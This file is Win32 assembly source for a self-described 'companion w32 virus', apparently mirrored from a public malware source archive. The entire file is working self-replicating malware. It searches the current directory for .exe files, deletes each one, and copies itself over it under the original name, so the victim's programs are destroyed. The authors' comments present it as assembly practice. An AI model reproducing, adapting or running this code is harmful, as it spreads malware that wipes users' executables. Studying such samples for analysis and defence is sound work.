mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
112 lines
1.9 KiB
NASM
112 lines
1.9 KiB
NASM
.386P
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Locals
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jumps
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.Model Flat ,StdCall
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;Simple win32 companion Self Replicating Automation
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;Jheronimus Bolch - Meta Informatic Syndrome Patients
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;code is shit but it's simple-hope so....
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extrn ExitProcess : PROC
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extrn GetCommandLineA : PROC
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extrn MessageBoxA : PROC
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extrn MoveFileA:PROC
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extrn FindFirstFileA:Proc
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extrn FindNextFileA:Proc
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extrn CopyFileA:PROC
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extrn DeleteFileA:PROC
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.Data
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text db "bU-hahahaahahahaha",13,10 ;
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db "The companion is getting alive...",0
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caption db "Hell0",0
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keimeno db "simple companion w32 virus",13,10
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"basically for assembly coding practice",13,10
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"Hope you'll enjoy the code...",13,10
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"w32.shithead",13,10
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"by Jack Daniels",0
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psaxnogia db "*.exe",0
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search_handle dd 0
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myname db 40h dup (0)
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newname db 40h dup (0)
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search_data db 318 dup (0)
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.Code
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Main:
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call GetCommandLineA
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mov ecx,0
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jampo:
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mov bl,byte ptr[eax+1]
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mov byte ptr[myname+ecx],bl
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inc eax
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inc ecx
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cmp bl,22h
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jne jampo
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dec ecx
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mov byte ptr[myname+ecx],0
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push offset search_data
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push offset psaxnogia
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call FindFirstFileA
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cmp eax,-1
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je exit
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mov search_handle,eax
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call infect
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more:
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mov eax,[search_handle]
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push offset search_data
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push eax
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call FindNextFileA
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cmp eax,0
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je exit
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cmp byte ptr[search_data+44],"_"
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je exit
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call infect
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jmp more
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infect:
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mov ecx,0
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mov byte ptr[newname+ecx],"_"
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newnamecreation:
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inc ecx
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mov bl,byte ptr[search_data+44+ecx-1]
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mov byte ptr[newname+ecx],bl
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cmp bl,0
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jne newnamecreation
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push 0
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push offset caption
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push offset newname
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push 0
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call MessageBoxA
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push offset [search_data+44]
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call DeleteFileA
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push 1h
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push offset [search_data+44]
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push offset myname
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call CopyFileA
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push 1h
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push offset newname
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push offset [search_data+44]
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call CopyFileA
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ret
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exit:
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CALL ExitProcess
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End Main
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